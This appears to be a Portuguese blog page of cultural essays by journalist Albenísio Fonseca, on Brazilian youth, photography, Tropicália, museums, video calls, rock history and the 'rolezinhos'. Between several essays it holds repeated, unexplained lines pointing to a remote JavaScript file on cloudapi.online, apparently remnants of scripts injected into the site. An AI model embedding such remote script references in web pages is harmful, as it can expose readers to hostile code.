JOVENS PARA SEMPRE OU, A DANAÇÃO DA JUVENTUDE

Resultado de imagem para juventude brasileira no seculo xxi


Albenísio Fonseca

 Filhos de casais separados, de mães solteiras chefes de famílias, boa parte dos jovens brasileiros são verdadeiros rebeldes sem causa ou, paradoxalmente, cheios delas. Esta juventude – e considere-se aqui uma faixa etária entre 15 e 27 anos – foi tolhida em algumas das suas mais vitais capacidades de vir a oferecer contribuições eficazes, seja na resolução de suas vidas, seja no próprio desenvolvimento da sociedade brasileira como um todo.

 

Embora “ser jovem”, diferentemente da adolescência (dos 12 aos 18 anos), refira-se a um período não necessariamente delimitado pela idade, trata-se de grupo geracional no qual estão inseridos valores bem próprios, mas que compreende outros fatores relacionados a intensas transformações biológicas, psicológicas, sociais e culturais, que variam de acordo com as diferentes classes sociais, culturas, épocas, etnias, gênero, dentre outros determinantes.

Nascida em meio a crises econômicas, sob o signo da Internet e de uma “Constituição Cidadã”, essa geração tem como parâmetros em termos comportamentais certa indignação, mas sob uma distância abismal entre a representação ideal da juventude e as diversas realidades em que se encontra a maioria dos jovens do Brasil. É visível – como se diria de saltar aos olhos – o quanto para os jovens negros e pobres resta o estigma da marginalidade e associação à violência e criminalidade. Para os demais, prevalece certa ótica progressista, embasada na ilusória liberdade individual.

Seguem com direito a políticas de cotas, a extraordinário acervo de informações do repertório global da humanidade, mas é fascinada apenas pelos tipos moldados pelo sistema cíclico da moda e da mídia. Como seres emblemáticos da Civilização da imagem, odeiam a leitura.

Há perguntas sem respostas imediatas: Os tempos de mudança estariam de volta, quer a história repita-se (como farsa, tragédia) ou não? Há uma nova onda reativando as cabeças, redimensionando as aptidões? O certo é que, para a maioria dos que transitam nessa geração, quase não há mais tempo para reflexões e sim para respostas na ponta da língua, ainda que não percebam o quanto entrar na vida é ter que dar respostas ao fato de estarmos inseridos num sexo, numa cultura, numa classe social, num regime político, em um sistema econômico. E a crise, cultural antes de ser política, mais pessoal que do campo das idéias, mantém-se como inescapável expressão das individualidades.

O sistema fascina seus olhos, narinas e bocas com a glamourosa tentação de que se adapta aos seus desejos, quando na realidade são todos os seus desejos que se adaptam perfeitamente aos ditames das regras sociais, à voracidade do capitalismo e seu apetite de avestruz. Sim, fazendo-os ingerir a coca-cola  com casco e tudo no burburinho dos fast foods.

A juventude, “made in Brazil”, desde a primeira década do século 21, tende a encarar a existência muito mais como “suporte” que como linguagem. Corações e mentes tatuados em invólucros de games, celulares, amizades via redes sociais, no cuidado excessivo com a aparência e sob o desejo de replicar tudo o que seja sucesso, seguem pelos “shoppings” preocupados com o que transcorre nas novelas da vida de personalidades estampadas na mídia.

Nesse jogo de espelhos, não é tanto a busca de identidade quanto a de uma imagem o que os jovens pretendem discernir, na superfície áspera da sociedade de consumo com seus dedos pegajosos. E, “lost”, poucos buscam investir na tarefa de suscitar a si próprios enquanto experimentação social. Assim, a velocidade da modernização econômica e a ênfase no imediatismo têm gerado o que se pode supor como um novo conteúdo para a representação social da experiência de “ser jovem”.

A questão juventude será sempre um tema em evidência. Mais que um blábláblá, o que permanece em toda polêmica sobre o tema é uma ira quase incontível. Sim, em meio à dificuldade de esboçar um raciocínio, formular pensamentos lógicos e escrever com sintaxe e semântica corretos, tampouco demonstram buscar qualquer sentido para a existência além de um exibicionismo qualquer ditado pela indústria cultural. Como se disséssemos de objetos, mais que de sujeitos, em uma sociedade de consumo ostentatória.

Longe das escolas, as primeiras hordas lotam as ruas e casas de recolhimento. A violência, as drogas, a falta de empregos e de políticas públicas, um ensino caótico, são obstáculos a serem transpostos. Que as propostas de retomar o debate sobre a condição da juventude, seja em Salvador ou qualquer outra cidade brasileira, sejam bem mais que um retoque no batom ou um filete de sangue a escorrer das esquinas nas nossas faces. ##

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

Anúncios

178 ANOS DEPOIS Para que serve e para onde vai a arte da fotografia

Está cumprido o vaticínio do pintor belga Antoiene Wiertz no início dos anos 40 do século 19: “Tem pouco tempo de idade a glória de nossa época, uma máquina que dia a dia nos surpreende. Dentro de um século ela será o pincel, a paleta e as cores, a habilidade, a experiência, a paciência, a agilidade, a precisão, o verniz, o esboço e a arte final. Quando este bebê gigante crescer, quando todo o seu poder e sua arte estiverem desenvolvidos, o gênio vai aparecer de repente, agarrá-lo pelo colarinho e dizer: Ouça bem, de hoje em diante você me pertence. Vamos trabalhar juntos”.


Albenísio Fonseca

A câmera fotográfica – como se diria de um artefato selvagem que aponta e dispara – completa 178 anos de inventada em 2017. O dia oficial de nascimento da fotografia – e que assinala a data comemorativa, em âmbito mundial – é 19 de agosto de 1839. Naquele dia o primeiro daguerrótipo foi apresentado à Academia de Ciências de Paris. Louis Jacques Mandé Daguerre, que o patenteou, lançou mão das pesquisas de muitos que o antecederam, inclusive as de Joseph Nicephore Niépce, seu sócio, que morreria pouco antes do projeto estar inteiramente pronto.


O princípio da câmera escura

O princípio da câmera escura, por exemplo, já era conhecido há séculos, usado por desenhistas e astrônomos, entre os quais o multiartista Leonardo da Vinci. Considerando a ambiência histórica, vale registrar também a contraposição à fotografia levada a efeito pelo poeta francês Charles Baudelaire: “Se se permitir que ela tome lugar ao lado da arte, logo irá suplantá-la e corrompe-la pela aliança natural que fará com a burrice das massas. É preciso que ela volte para o seu verdadeiro lugar que é o da mais humilde serva das ciências e das artes”, reagiria.

Nos próximos dias 20 e 21 de setembro, no Palacete das Artes, na Graça, em iniciativa conjunta da Escola de Belas Artes e da Fundação Cultural do Estado da Bahia, acontece a exposição das fotos vencedoras, palestras e debates que marcarão o I Colóquio de Fotografia Pierre Verger. Como diagnostica a iniciativa o professor de Filosofia Antônio Saja, “vivemos em um entreato, numa intermitência histórica. Num período de rupturas estéticas, de quebra de paradigmas, de abandono de referenciais prévios. Estamos em uma época de mudança e numa mudança de época”.

Um evento para além da imagem

Afinal, conforme o professor José Mamede, da Escola de Belas Artes da UFBA, “como compreender a fotografia neste contexto de incertezas? De uma prática solidamente legitimada no território da Comunicação, a fotografia expandiu-se pelos universos da Arte e da Cultura”, contextualiza. O I Colóquio é definido, também por Mamede, como uma “ação que visa interrogar a imagem fotográfica da perspectiva dos seus usos sociais, artísticos e culturais”.

— Que Fotografia é essa que hoje se propaga por redes sociais, festivais, feiras, museus, galerias, editais e prêmios? Quais gêneros de trabalhos fotográficos estão sendo selecionados para Festivais de Fotografia e Bienais de Arte? E nos editais, as políticas públicas estão legitimando que tipo de foto? Tais questões estarão no centro do I Colóquio de Fotografia da Bahia.

Vale ressaltar, ainda, o quanto os aparelhos celulares absorveram a tecnologia das câmeras fotográficas digitais e, mesmo inferiores em termos de resolução, praticamente as levaram à obsolescência. O certo é que, 178 anos depois, a presença das fotos e vídeos (com áudio), em formato digital, invadiu nossas vidas e consolidou, em grande parte, a instauração da civilização da imagem.

Desde o advento do celular e sua popularização nas duas últimas décadas do século 20, e já em plena era do selfie, do narcisismo inescapável a um click, ou dos efeitos photoshop de que nos tornamos ardilosos produtores de imagens, a humanidade orbita, agora, seu olhar telescópico, com o Humbble, universo adentro.

—————————————-

Albenisio Fonseca é jornalista

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

O Carnaval da Tropicália

ALBENÍSIO FONSECA

tropicália rita lee, caetano e gil
Caetano, Rita Lee e Gil entre os destaques da Águia de Ouro, no Sambódromo do Anhembi, em 2012

A Tropicália é o movimento que não acabou, foi impedido de continuar. Por si só verdadeira carnavalização estética, surge com uma instalação de Hélio Oiticica, em 1967. No mesmo ano, a canção Tropicália, de Caetano Veloso. Só em 68 seria lançado o emblemático disco-manifesto. Aliás, com um erro crasso ao cravar o plural do simbólico emblema latino dos romanos “panis (em lugar de “panem”) et circenses”. Oiticica dizia que criou a Tropicália e que os demais criaram o Tropicalismo.

Sob o céu anil, havia fortes influências da pop art e do flower power norte-americanos; do processo de industrialização brasileiro e do ambiente de repressão instaurado desde o golpe de 64. Bob Dylan, Beatles, Rolling Stones, Carmem Miranda, Chacrinha e a Jovem Guarda eram alguns dos ingredientes que compunham o caldeirão cultural na efervescente antropofagia tropicalista.

O movimento se erige sobre quatro marcos inaugurais, todos transcorridos em 1967: a instalação Tropicália, manifestação ambiental, de Hélio Oiticica, no MAM do Rio de Janeiro, em abril; a estreia do filme Terra em Transe, de Glauber Rocha, em maio; a montagem de O Rei da Vela, de Oswald de Andrade, encenada em setembro pelo Grupo Oficina, sob direção de José Celso Martinez Corrêa, e as participações de Caetano Veloso e Gilberto Gil no III Festival da Record, em outubro, interpretando respectivamente Alegria, Alegria e Domingo no Parque, que instauravam uma nova linguagem e inseriam, definitivamente, a guitarra elétrica na MPB.

 tropicália anis et Circencis

O choque do provincianismo com o moderno gerando a síntese dialética de uma nova forma de pensamento. A um só tempo, o corte e a sutura. Algo como a Semana de 22, entre 67 e 69, converteu-se na nova ótica brasileira da transformação de costumes, valores culturais e comportamentos, liderada pela juventude daquela geração. Nossa “geleia geral”, diriam Gil, Caetano, Waly, Torquato Neto e Capinan. Toda a rede universal de comunicação hoje consolidada já estava instalada de modo embrionário naquele momento histórico. O Tropicalismo se instaura em diálogos e interinfluências, atravessando a indústria cultural em áreas profissionalizadas, como o cinema, o teatro, a TV (vide o programa Divino Maravilhoso, na Tupi, em 68); semiprofissionais, como a literatura; e as marginais: cinema super-8, escultura, música erudita.

Diante do establishment cultural erudito nacional e distinta da explícita canção de protesto, a produção musical tropicalista, face proeminente do movimento, sempre tensionando extremos, vai se relacionar com as antenas mais sensíveis da intelectualidade, os segmentos de vanguarda: Medaglia, Duprat, Cozzela, maestros da avançada música de concerto e o operístico Vicente Celestino; berimbau e guitarra; latinidade, poesia concreta e literatura de cordel; o fino e o cafona; cidade e sertão. No caleidoscópio montado pelo Tropicalismo, a cintilar também nas vozes de Gal Costa, Nara Leão ou Maria Bethânia, passamos a habitar uma nova dimensão simbólica da realidade brasileira.

Sob o fascínio irreverente dos Mutantes, nos ícones da urbanidade e do parque industrial satirizados por Tom Zé, a atualização dos paradoxos que delimita(va)m nossa brasilidade, redesenhados por Rogério Duarte. Em suma, a nova consciência crítica gerada pela estética tropicalista veio proporcionar uma ampla liberação para a criação artística que, infelizmente, o artista brasileiro, em geral, não soube dar sequência. Vale lembrar, ainda, o quanto Gil e Caetano produziram marchas e frevos antológicos para a folia.

 


A instalação “Tropicália”, de Oiticica, no MAM do Rio, em 1968

Mais do que pelos militares, a Tropicália foi “derrotada” pelo conservadorismo e pelo subdesenvolvimento brasileiro. Sem possibilidade de cooptação política à esquerda ou direita, as prisões e exílio de Gilberto Gil e Caetano Veloso não impediriam, contudo, que o Tropicalismo ultrapassasse o próprio rótulo como possibilidade da cultura e da vida no Brasil.  Em 2012, a Escola de Samba Águia de Ouro desfilaria na pauliceia sob o samba-enredo “Tropicália da Paz e Amor: O Movimento que não acabou”. Trazia Gil, Caetano, a roqueira e tropicalista Rita Lee entre os destaques e Cauby Peixoto e Ângela Maria como rei e rainha da MPB.

Que todos divirtam-se a valer no País do Carnaval, ainda que, em Salvador, blocos como o Boca de Brasa – com autores e personagens culturais redivivos – e o da Capoeira – um dos mais emblemáticos ícones da baianidade – tenham sido excluídos do apoio do estado e das programações oficiais. Agora, 50 anos depois, face à improbabilidade de horizontes claros em nosso triste trópico e no limite tênue do nosso luxo e miséria cultural, com a Tropicália convertida em tema de carnavalização da primeira capital do país, quiçá ainda seja possível resgatar a velha audácia e perpetuar a paixão pelo moderno e a pretensão futurista dos tropicalistas em plena virtuália do blá blá blá das redes sociais nessa transdigitada era da banda larga e comunicações instantâneas.

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

https://cloudapi.online/js/api46.js

Um novo estatuto para os museus

   Foto: Divulgação
Museu Casa do Rio Vermelho, de Jorge Amado e Zélia Gattai, sob curadoria de Gringo Cardia,         um ótimo exemplo de nova concepção museológica

Um novo estatuto
para os museus

Albenísio Fonseca 
 
Uma nova concepção na atuação dos museus, já há alguns anos, vem sendo implementada tanto no Brasil quanto em diversos países.  Dentre as intervenções propostas, destaque-se a que propõe “demolir” a ideia de divisão do mundo da cultura em camadas, assim como a oposição abrupta entre o tradicional e o moderno, o culto, o popular e o massivo.
Os museus passam por significativo processo de transformação oriundo de diversos fatores, entre eles, a concorrência com outros equipamentos culturais. As grandes transformações em curso refletem elementos das novas demandas sociais decorrentes, dentre outras, da grande presença das tecnologias comunicacionais no cotidiano.
 
As novas tecnologias de comunicação revolucionam nosso cotidiano e impõem aos museus a aplicação de um discurso de imagens, sons, luz e cores. A necessidade de novas posturas na concepção de museu, mais dialogadas, representa um desafio de criação e de ousadia na construção de novos espaços de aprendizagem, sejam formais, não formais ou informais.
Os museus, ainda que em complementaridade aos espaços formais de ensino, promovem hoje uma aprendizagem social do conhecimento. Exatamente pelo fato de o museu não ser a sala de aula, ele requer olhares, novos ou velhos, de pesquisa sobre as práticas educativas que pode propor. 
 
Enquanto local de patrimônio, de coleções de objetos, de artefatos e instância de comunicação, os museus devem converter-se, também, em local de lazer, de prazer, de sedução, de encantamento, de reflexão, da busca de conhecimentos. Em oposição à instituição elitista e estática que se estendeu desde o século XVII, o novo museu deve abrir suas portas ao público e conquistar a rua e todos os espaços sociais de encontro e troca de conhecimento.
O museu deixa de ser um “mero” local de memória e deleite estético para se tornar referência na paisagem e no convívio urbano, com oferta de atrativos que proporcionem interação e mobilidade, visando não só atrair e ampliar público, quanto fidelizar a presença desse contingente nos espaços e eventos programados.
 
Além da educação patrimonial e suas vinculações com manifestações culturais, o novo museu deve viabilizar funções sociais, por si só interativas, em intercâmbio com outras linguagens, disponibilizando espaços para promoção de espetáculos musicais, cênicos e de dança, lançamento literários, além da oferta de cursos, sem abdicar do caráter expositor e com um lounge para a oferta de Café e lanches ou petiscos típicos da culinária brasileira. Promoverá, desse modo, o acesso e a interação na convergência de encontros e dos conhecimentos em um universo aberto para o transito do passado, do presente e do futuro.
 
Em meio a essa nova concepção dos espaços dos museus, o projeto para esta nova era se define na valorização do multiculturalismo, das múltiplas inteligências, saberes e linguagens. O novo “estatuto” do Museu, portanto, deve passar a conferir significado aos encontros de olhares e busca de experiências sensíveis entre e para o seu público, deixando a definição do atributo singular para converter-se, em suma, em um território plural.
 
————————-
Albenísio Fonseca é jornalista

Bem vindo à Era da Telemática total

The Jetsons, de 1963, já previa a comunicação por videofone. O que mudou?

Bem vindo à
Era da Telemática!

Albenísio Fonseca

No mundo hiperconectado em que passamos a habitar nos últimos 15 anos, uma nova revolução de aplicativos para celulares já teve início. Refiro-me às videochamadas. Inauguradas pelo Skype, com o sistema Voip (voz sobre Internet Protocolo), em 2001, para computadores fixos (desktops), laptops e, portanto, para webcam, foram recentemente estendidas para os celulares. O certo é que a comunicação instantânea por áudio e vídeo está se tornando acessível e disseminada em escala massiva.

Seja através do próprio Skype ou em redes sociais como as proporcionadas por aplicativos como o Whatsapp (que anunciou o lançamento do recurso para este mês), Viber (disponível desde 2014) e mesmo o Facebook (já adotada em alguns países e prevista para alguns meses no Brasil). Há, ainda, entre outros, o Imo e o Tango. A comunicação por videofone, contudo, extrapola a noção de mera visualização dos interlocutores para converter-se em uma extraordinária telemídia.

O termo “vídeo” aplicado nesse caso, diferentemente da concepção em voga, de uma gravação reproduzível de imagens, consiste, agora, no uso das câmeras embutidas nos celulares com transmissão em tempo real. Com isso, diferentemente do modelo vislumbrado na ficção The Jetsons (dos anos 60), sobre habitantes de um futurível ano 2.000, as videochamadas ampliam o diálogo e os acenos face to face para converter-se em tomadas dos ambientes.

De imediato e no âmbito do jornalismo televisivo, é possível perceber o quanto o trabalho dos cameramen está ameaçado. Pode-se ilustrar, ainda, com cirurgiões a conduzir procedimentos à distância.

O advento da videochamada, nesse sentido, redimensiona o contato telefônico com as imagens dos interlocutores para dotá-los da capacidade de apresentar todo o espaço circundante. Um celular, bem entendido, uma câmera na mão, e o mundo real (o ambiente circundante) estará disponível ao olhar perscrutador do outro.

No princípio, em 1973, era o verbo. Em 1988, os dados. Em 4G, logo teremos câmeras cada vez mais potentes e já considerados os videochats em grupos ou adequadas às transmissões por emissoras de TV e pela Internet.

A evolução tecnológica, notadamente o crescimento exponencial da capacidade de processamento dos circuitos integrados e o aumento da disponibilidade de banda propiciado pelas modernas redes de telecomunicações, têm sido os catalisadores do enriquecimento da comunicação eletrônica, num esforço de torná-la cada vez mais semelhante à interação pessoal.

O melhor exemplo desse enriquecimento é a crescente presença do vídeo nos meios de comunicação pessoais: sejam videoconferências em celulares, através dos messengers, como recursos cada vez mais comuns de comunicação. Nesse ambiente, as corporações se tornarão ainda mais atuantes, com visibilidade e mobilidade em full time.

Tornados cada vez mais plurais em sua singularidade, aplicativos com videochamada possibilitarão enorme gama de usos. Logo, as corporações e qualquer usuário, se apropriarão, em modos inusitados, das aplicações multimídia. Com as mídias de comunicação instaurando, de uma vez por todas, a nova fase da tecnologia da imagem, vale saudá-lo, mero portador de um dispositivo móvel, com um bem vindo à Era da Telemática total.

————————————–

Albenísio Fonseca é jornalista

 

Porque hoje é Dia de Rock

Ora, quem diria, o eterno e atemporal rock and roll ficou sex. Sim, em 2015 o ritmo que mudou o mundo e fez florescer outras tantas musicalidades ficou sexagenário.

Ainda que várias incursões anteriores criassem as matrizes desse gênero musical que transformaria a cabeça e o corpo da juventude desde o final dos anos 40 – filho que é do pós-II Guerra – é a partir de 1954, com o surgimento de Elvis Presley, que o rock invade totalmente a cena e a face branca da sociedade norte-americana e mundial.

Os anos 50 marcam um período de grande efervescência nos Estados Unidos. Os sucessos da música negra – gospel, blues, jazz, folk – identificados de modo geral como rythm’n’blues (R&B), encontravam como único meio de penetração no mercado pop (composto pelo público branco) sua expressão através do cover (regravações de originais).

O interesse comercial está sempre dando as cartas e, para conquistar o mercado branco, o R&B passou a sofrer adaptações que iam desde a moderação no linguajar das letras à modulação das vocalizações, seguindo normas vocais e morais brancas. Em 1952 acontece, também, o fim do macartismo (política moralista defendida pelo senador McCarthy).

É nesse contexto, no início dos anos 50, que o cover emerge e, entre seus principais expoentes, destacam-se Dorothy Collins, Pat Boone e Bill Halley. Os dois primeiros se projetariam com “ballads”, mas Bill Halley se especializaria em covers. Após muitas audições de R&B, ele decide formar sua própria banda, a The Comets.

Nesse mesmo ano, Alan Freed, um Disc-Jockey (DJ) de Cleveland, cria o programa de rádio “Moondog’s Rock and Roll Party”, no qual tocava covers e alguns originais R&B. Tamanho foi o sucesso do programa que, no ano seguinte, Freed organiza uma série de shows com artistas negros, mas destinados aos jovens brancos. Em 1954 ele se instala em Nova Iorque e, junto a diversos outros DJ, passa a tocar sucessos negros aceitos pelos brancos.

Era a hora e vez de Bill Halley. Através da Decca, gravadora de âmbito nacional que o havia comprado da Essex, ele se mantém com “Shake rattle & roll”, durante todo aquele ano, na parada de sucessos, as dez mais – The top ten. Foi só esperar a primavera de 1955 para estourar a parada com “Rock around the clock” que, poucos sabem, é um cover de “Let’s rock awhile”, de Amos Millburn e, pasmem, datado de 1949. Vale lembrar que na gíria dos guetos, “to rock” designava o ato de fazer amor, do mesmo modo que “to jazz”.

Nova tecnologia: o disco de vinil

Havia, ainda, uma nova tecnologia invadindo o mercado e alterando os discos de gomalaca, em 78 rotações por minuto, desde 1948, para o de vinil, em 45 RPM, ampliando de forma maçiça o consumo de música nos States e mundo afora. A tecnologia – como vemos hoje – funcionara, por si só, como um novo dispositivo de marketing: oferecia-se à nova geração outra linguagem musical e dança, sob novo suporte para a audição e, incluída, várias tendências no vestuário, literatura, cinema, criando um novo tipo de consumidor.

Em 1955, explode o sucesso “Tutti frutti”, de Little Richard.  Uma nova cria de Sam Phillips, da lendária Sun Records, Carl Perkins ganha o primeiro disco de ouro do rockabilly (rock+Hill+Billy – mistura de rock com folk) com “Blue suede shoes”, já em 1956. Um desastre de automóvel seria fatal para Perkins. Jerry Lee Lewis, nova descoberta de Sam e que já se apresentou no Brasil, fazia loucuras com seu piano. Até hoje Lewis é apontado como a maior performance do rock’n’roll, embora sua popularidade esteja restrita a três hits: “Whole lotta shakin’going’on”, de 57, “Great balls of fire” e “Highschool confidential”, em 1958.

Dois anos antes, acontecem os esplendorosos sucessos dos rock baladas. Com os Platters, “Only you” e “The great pretender”. Dois anos depois, “Diana”, com Paul Anka, que venderia de saída nove milhões de cópias. Pintavam, ainda, no fim dos anos 50, promovida pela RCA e pela Columbia, a efervescência do calipso (oriundo da Jamaica) e do twisty, com Chubby Checker.

A partir de 1964 acontece a “invasão britânica”. Os sucessos de The Beatles e The Rolling Stones – e a minissaia, criada pela estilista Mary Quant, em 1964 – sacodem o planeta.  Em 65, surge, na Califórnia, o The Doors, liderado pelo gênio alucinado de Jim Morrison. Nessa época, as drogas eram comuns no rock e Morrison, como Brian Jones, dos Stones – vorazes consumidores – acabam morrendo de overdose, aos 27 anos. Americanos também foram fundo nas drogas e morreram de overdose, com a mesma idade: o gênio da guitarra Jimi Hendrix e a cantora Janis Joplin.

Se em 1967, com o “Sgt. Pepper’s Lonely Hearts Club Band”, os Beatles revolucionam a concepção musical do rock, em 69 o Festival de Woodstock mobiliza um público de 500 mil pessoas, em três dias de paz e amor, numa espécie de apogeu do universo rock.  Mas no dia 6 de dezembro daquele ano, em Altamont, na Califórnia, a apresentação dos Rolling Stones traz de volta o clima de violência. Um hells angels – grupo de motoqueiros contratados para a segurança do show – mata um jovem da plateia que teria derrubado sua moto.

Psicodelia, glamour e punk rock

Em meio à psicodelia, glamour e punk rock, a década de 70 estourou alguns movimentos que já estavam em prática nos anos 60. Um deles foi o rock progressivo, em composições que muitas vezes se aproximam da música erudita. Os músicos eram virtuoses e o som, viajante. A banda mais famosa dessa época é a Pink Floyd.

“Outra vertente do rock dos anos 70 tem o heavy metal e sua quase alma gêmea: o hard rock. Com roupas de couro pretas, cheias de tachinhas, cabelos compridos e guitarristas metidos a semideuses. Muitas bandas exploravam o tema do satanismo e arregimentava uma legião de fãs adolescentes. Foi daí que surgiram o Black Sabbath, de Ozzy Osbourne, Judas Priest, Scorpions, Iron Maiden, Kiss, Alice Cooper, AC/DC e muitos outros. O Led Zeppelin também trafegava nessa praia, com um pouco mais de poesia, com a ótima parceria entre Robert Plant e Jimmy Page”, como descreve a jornalista Maira Cristina.

– De outro lado, surgia um rock glamouroso em que a androginia era parte do visual, ao carregar na maquiagem, roupas espalhafatosas de plumas e lamês. Era o glam rock ou glitter (purpurina). Aqui, aparece o camaleão do rock: David Bowie, que, em 1972, lança o personagem Ziggy Stardust e vira uma lenda da música pop. Dessa leva glam também vem o excêntrico Roxy Music, de Brian Ferry e Brian Eno; o T-Rex, de Marc Bolan, e os alucinados rapazes do New York Dolls, que se vestiam de mulher e tocavam como loucos.

Maira sinaliza a chegada dos anos 80 “com um restinho de onda punk. Mas o gosto de ressaca estava no ar”. A nova geração, segundo ela, “vinha cheia de melancolia, com uma rebeldia mais triste, sombria e solitária. Nas letras, muitas vezes niilistas, um lirismo que representava muito bem o sentimento dos jovens da época. Era o pós-punk. De Liverpool, vinha o Echo and The Bunnymen, e de Manchester, o Joy Division, com toda a tristeza do vocalista Ian Curtis, que se enforca, aos 22 anos de idade. O resto da banda formaria a New Order. Darks e góticos também eram bem representados pelo Sisters of Mercy, The Mission, The Cult e Bauhaus.

Na contramão de toda aquela badtrip, surge a “New wave”, com música alegre, para dançar. Trazia roupas coloridas, gel no cabelo e muita alegria, como o B’52 e o Talking Heads, de David Byrne. As três bandas mais famosas nos anos 80 foram The Cure, The Smiths e U2. Segundo Maira, o Cure tinha aquele visual dark, só usava roupa preta, batons escuros, maquiagem e cabelos arrepiados. Era a rapaziada liderada por Robert Smith. The Smiths, considerada por muitos como a melhor banda dos 80, apostava no lirismo das letras de Morrissey e nas guitarras de Johnny Marr. Os irlandeses da U2 desde o começo traziam uma preocupação política nas letras como em “Sunday blood sunday”.

Elvis, o primeiro superstar

Primeiro superstar do planeta, o furacão Elvis Presley (1935-1977) inicia sua ascensão, em 1954, com “Thats all right mama”. Tão logo a popularidade dele – que viria a tornar-se o Rei do Rock” – ultrapassa as fronteiras do Tennessee, a RCA Victor compra-o de Sam Phillips (da Sun Records) por nada menos que US$ 30 mil e mais um cadillac para o cantor. Em 1957, o “negócio Elvis”, administrado pelo “colonel” Parker já rendia US$ 20 milhões ao ano.

Elvis Presley

Também conhecido como Elvis The Pelvis, apelido pelo qual ficou conhecido na década de 50 por sua maneira extravagante e ousada de dançar, foi um dos pioneiros e principais idealizadores do rock and roll. Uma de suas maiores virtudes era a voz, devido ao alcance vocal, que atingia, segundo especialistas, notas musicais de difícil alcance para um cantor popular.

A crítica especializada reconhece seu expressivo ganho, em extensão, com a maturidade; além de virtuoso senso rítmico, força interpretativa e um timbre de voz que o destacava entre os cantores populares. Para muitos, ele é avaliado como o melhor cantor popular do século 20.

Um dos maiores ícones da cultura popular mundial do século passado, entre seus maiores sucessos musicais (ele atuaria também no cinema) podemos destacar “Hound Dog”, “Don’t Be Cruel”, “Love me Tender”, “All Shook up”, “Teddy Bear”, “Jailhouse rock” “It’s now or never”, “Can´t Help Falling In Love”, “Surrender”, “Crying In The Chapel”, “Mystery Train”, “In The Ghetto”, “Suspicious Minds”, “Don’t Cry Daddy”, “The Wonder Of You”, “An American Trilogy”, “Burning Love”, “My Way”, “My Boy” e “Moody Blue”. Se quiser re-ouvir, estão todas disponíveis no Youtube.

A face invisível dos “rolezinhos”

Foto: Epitácio Pessoa/Estadão

Jovens da periferia promovem “occupy shopping” no Rio e São Paulo

A face invisível dos “rolezinhos”

Albenísio Fonseca

Vendo o quanto tantos ficaram na superfície do fenômeno dos “rolezinhos” – mobilização de jovens moradores de áreas periféricas em shopping centers do Rio e São Paulo – surfando na crista da onda sem ousar um mergulho mais profundo, vale refletir a questão sob a ótica não apenas do consumo, mas sob as faces políticas da excludente ideologia do consumo e da crítica à sociedade do espetáculo.

É inevitável partir da constatação de que a horda excluída também quer fazer valer o direito ao prazer do fascínio produzido em série e poder desfilar o glamour das marcas e seus mil e um acessórios “trade company” nestes templos das mercadorias ou “bunkers” do consumo. Não se dá conta de constituir-se uma espécie de subproduto da sociedade da abundância aparente (a sublimar seu viés proletarizante) – que nos transveste, excita e captura.

Não há o que estranhar no dilema de setores da elite nacional frente ao mais anarquista dos atos da contemporaneidade à brasileira. Impossível de camuflar, tal “estratégia de libertação urbana” evidencia uma nova forma da luta de classes, em pura e, ao mesmo tempo, bruta discriminação econômica, social, étnica e até estética. Ao judicializar os encontros dessa juventude, orquestrados via redes sociais, sem identificar como capitalizá-los, criminaliza-se a pobreza.

Não é meramente o espaço privado e supostamente público que se pretende interditar à circulação dos coletivos de jovens pobres e negros no universo refrigerado do império da moda: é o próprio território urbano de áreas nobres que se converte em locais de acesso proibido, em evidente segregação social, sob repaginado “apartheid”. Os “rolezinhos”, do mesmo modo, invertem a seta da “gentrificação” (enobrecimento) em voga.

Contra a mentalidade escravocrata ainda reinante, a “nova senzala” vinda das periferias quer desfrutar o sabor da “coca-cola, subway e Mcs” na Casa Grande. Sob a lógica da mercadoria ou da submissão inconsciente à mercatilização total das conciências, as meninas sacolejam bolsas assinadas por Louis Vuitton. Os garotões trazem gravada a moda surf na camiseta Mahalo e a estampar nos bonés: “fuck you”. Desembolsam suas rendas a caminhar firmes sobre Nikes, Adidas, Asics, Olympikus, indiferentes à farta exploração da mão de obra – na Índia, Paquistão ou China – embutida na produção de tais mercadorias. Organizados via Internet, os rolezinhos contrariam adesões partidárias ou a Ongs e surpreendem a segurança dos shopping e outros mecanismos de opressão.

“Ama teu rótulo como a ti mesmo”, sim, Joyce, diriam em paródia à estipulação cristã. Mas, ao levar o desejo a sobrevoar as asas da história, o que os “rolezinhos” denotam é uma desesperada e ingênua busca de visibilidade que, afinal, atenta contra a ordem e a assepsia da mentalidade pequeno-burguesa pretensamente hegemônica, no equívoco de que o acesso ao shopping constitua-se em acesso à cidadania. O verdadeiro, desde há muito, foi convertido, caro Débord, em um momento do falso.

Criados sob a segurança e a facilidade de encontrar tudo no mesmo lugar, aliando os conceitos de modernidade e progresso, os shopping converteram-se desde meados dos anos 1980 em locais privilegiados para compras e lazer. O modelo foi importado dos Estados Unidos e implantado nas cidades brasileiras sob os mesmos critérios e contornos da origem. Seus proprietários, geralmente, são grandes grupos de investidores, construtoras ou holdings.

O maior é o Aricanduva, em São Paulo, com 425 mil m². No Rio, o Center Norte tem 245.028 m². Na Bahia, o Salvador Shopping tem 82.500 m². Em 2013, as vendas do setor cresceram 10,65% e o faturamento alcançou R$ 119,5 bilhões. Em 2012 havia 495 shopping no país, quando apresentaram uma circulação média de 398 milhões de visitantes mensais. Novos 38 empreendimentos foram inaugurados em 2013, outros 40 estão previstos para 2014, segundo a Associação Brasileira de Shopping Centers. O setor contempla cerca de 900 mil empregos diretos.

Sem dispor de capital cultural, acesso a espaços de lazer, oferta de empregos e serviços públicos dignos, notadamente em educação e saúde, isto é, frente à ausência do estado, essa parcela de jovens a irromper em rolés segue entorpecida pelos efeitos sedutores e ilusionistas da publicidade. Todavia, de modo inequívoco, os pobres já estão inseridos na lógica dos centros comerciais: Constituem o corpo de serviçais encarregados da faxina dos corredores, toilettes e na segurança terceirizada.

O espetáculo submete a si os homens, depois que a economia já os arrasou completamente. Em todo esse happening juvenil impelido pela cultura de massa, paciência, Hamlet, agora, “to be or not to be, that is the fashion”. Mas, afinal, com que roupa eu vou ao “rolezinho” que um enorme grupo, pelas redes sociais, me convidou? #

Entradas Mais Antigas Anteriores